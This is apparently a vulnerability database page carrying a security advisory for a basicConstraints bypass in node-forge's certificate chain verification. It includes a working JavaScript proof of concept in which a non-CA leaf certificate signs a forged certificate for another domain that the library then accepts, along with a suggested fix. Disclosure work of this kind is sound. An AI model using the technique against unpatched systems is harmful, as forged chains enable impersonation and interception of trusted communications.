High

Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation)

  • Disclosed: 26.03.2026
  • Updated: 11.10.2026 10:22

Summary

pki.verifyCertificateChain() does not enforce RFC 5280 basicConstraints requirements when an intermediate certificate lacks both the basicConstraints and keyUsage extensions. This allows any leaf certificate (without these extensions) to act as a CA and sign other certificates, which node-forge will accept as valid.

Technical Details

In lib/x509.js, the verifyCertificateChain() function (around lines 3147-3199) has two conditional checks for CA authorization:

  1. The keyUsage check (which includes a sub-check requiring basicConstraints to be present) is gated on keyUsageExt !== null
  2. The basicConstraints.cA check is gated on bcExt !== null

When a certificate has neither extension, both checks are skipped entirely. The certificate passes all CA validation and is accepted as a valid intermediate CA.

RFC 5280 Section 6.1.4 step (k) requires:

"If certificate i is a version 3 certificate, verify that the basicConstraints extension is present and that cA is set to TRUE."

The absence of basicConstraints should result in rejection, not acceptance.

Proof of Concept

js
const forge = require('node-forge');
const pki = forge.pki;

function generateKeyPair() {
  return pki.rsa.generateKeyPair({ bits: 2048, e: 0x10001 });
}

console.log('=== node-forge basicConstraints Bypass PoC ===\n');

// 1. Create a legitimate Root CA (self-signed, with basicConstraints cA=true)
const rootKeys = generateKeyPair();
const rootCert = pki.createCertificate();
rootCert.publicKey = rootKeys.publicKey;
rootCert.serialNumber = '01';
rootCert.validity.notBefore = new Date();
rootCert.validity.notAfter = new Date();
rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 10);

const rootAttrs = [
  { name: 'commonName', value: 'Legitimate Root CA' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
rootCert.setSubject(rootAttrs);
rootCert.setIssuer(rootAttrs);
rootCert.setExtensions([
  { name: 'basicConstraints', cA: true, critical: true },
  { name: 'keyUsage', keyCertSign: true, cRLSign: true, critical: true }
]);
rootCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 2. Create a "leaf" certificate signed by root — NO basicConstraints, NO keyUsage
//    This certificate should NOT be allowed to sign other certificates
const leafKeys = generateKeyPair();
const leafCert = pki.createCertificate();
leafCert.publicKey = leafKeys.publicKey;
leafCert.serialNumber = '02';
leafCert.validity.notBefore = new Date();
leafCert.validity.notAfter = new Date();
leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 5);

const leafAttrs = [
  { name: 'commonName', value: 'Non-CA Leaf Certificate' },
  { name: 'organizationName', value: 'PoC Security Test' }
];
leafCert.setSubject(leafAttrs);
leafCert.setIssuer(rootAttrs);
// NO basicConstraints extension — NO keyUsage extension
leafCert.sign(rootKeys.privateKey, forge.md.sha256.create());

// 3. Create a "victim" certificate signed by the leaf
//    This simulates an attacker using a non-CA cert to forge certificates
const victimKeys = generateKeyPair();
const victimCert = pki.createCertificate();
victimCert.publicKey = victimKeys.publicKey;
victimCert.serialNumber = '03';
victimCert.validity.notBefore = new Date();
victimCert.validity.notAfter = new Date();
victimCert.validity.notAfter.setFullYear(victimCert.validity.notBefore.getFullYear() + 1);

const victimAttrs = [
  { name: 'commonName', value: 'victim.example.com' },
  { name: 'organizationName', value: 'Victim Corp' }
];
victimCert.setSubject(victimAttrs);
victimCert.setIssuer(leafAttrs);
victimCert.sign(leafKeys.privateKey, forge.md.sha256.create());

// 4. Verify the chain: root -> leaf -> victim
const caStore = pki.createCaStore([rootCert]);

try {
  const result = pki.verifyCertificateChain(caStore, [victimCert, leafCert]);
  console.log('[VULNERABLE] Chain verification SUCCEEDED: ' + result);
  console.log('  node-forge accepted a non-CA certificate as an intermediate CA!');
  console.log('  This violates RFC 5280 Section 6.1.4.');
} catch (e) {
  console.log('[SECURE] Chain verification FAILED (expected): ' + e.message);
}

Results:

  • Certificate with NO extensions: ACCEPTED as CA (vulnerable — violates RFC 5280)
  • Certificate with basicConstraints.cA=false: correctly rejected
  • Certificate with keyUsage (no keyCertSign): correctly rejected
  • Proper intermediate CA (control): correctly accepted

Attack Scenario

An attacker who obtains any valid leaf certificate (e.g., a regular TLS certificate for attacker.com) that lacks basicConstraints and keyUsage extensions can use it to sign certificates for ANY domain. Any application using node-forge's verifyCertificateChain() will accept the forged chain.

This affects applications using node-forge for:

  • Custom PKI / certificate pinning implementations
  • S/MIME / PKCS#7 signature verification
  • IoT device certificate validation
  • Any non-native-TLS certificate chain verification

CVE Precedent

This is the same vulnerability class as:

  • CVE-2014-0092 (GnuTLS) — certificate verification bypass
  • CVE-2015-1793 (OpenSSL) — alternative chain verification bypass
  • CVE-2020-0601 (Windows CryptoAPI) — crafted certificate acceptance

Not a Duplicate

This is distinct from:

  • CVE-2025-12816 (ASN.1 parser desynchronization — different code path)
  • CVE-2025-66030/66031 (DoS and integer overflow — different issue class)
  • GitHub issue #1049 (null subject/issuer — different malformation)

Suggested Fix

Add an explicit check for absent basicConstraints on non-leaf certificates:

js
// After the keyUsage check block, BEFORE the cA check:
if(error === null && bcExt === null) {
  error = {
    message: 'Certificate is missing basicConstraints extension and cannot be used as a CA.',
    error: pki.certificateError.bad_certificate
  };
}

Disclosure Timeline

  • 2026-03-10: Report submitted via GitHub Security Advisory
  • 2026-06-08: 90-day coordinated disclosure deadline

Credits

Discovered and reported by Doruk Tan Ozturk (@peaktwilight) — doruk.ch

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package node-forge < 1.4.0 1.4.0

References

CVSS score 7.4/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
Weakness (CWE)
CWE-295
Platform
npm
Package
node-forge
Disclosed
26.03.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-2328-f5f3-gj25 - CC BY 4.0

Vulnerability history: node-forge

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (15) in the archive
Total entries
15
First → latest
09.2020 03.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 9
  • Medium 3
  • Low 3

Disclosures per year

  1. 2020: 1
  2. 2021: 0
  3. 2022: 7
  4. 2023: 0
  5. 2024: 0
  6. 2025: 3
  7. 2026: 4
Severity:
  1. Forge has a basicConstraints bypass in its certificate chain verification (RFC 5280 violation) this entry
    High · 7.4 CVE-2026-33896 < 1.4.0 1.4.0
  2. High · 7.5 CVE-2026-33894 < 1.4.0 1.4.0
  3. High CVE-2025-66031 < 1.3.2 1.3.2
  4. High · 7.5 CVE-2022-24772 < 1.3.0 1.3.0
  5. High · 7.5 CVE-2022-24771 < 1.3.0 1.3.0
  6. High · 9.8 CVE-2020-7720 < 0.10.0 0.10.0

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.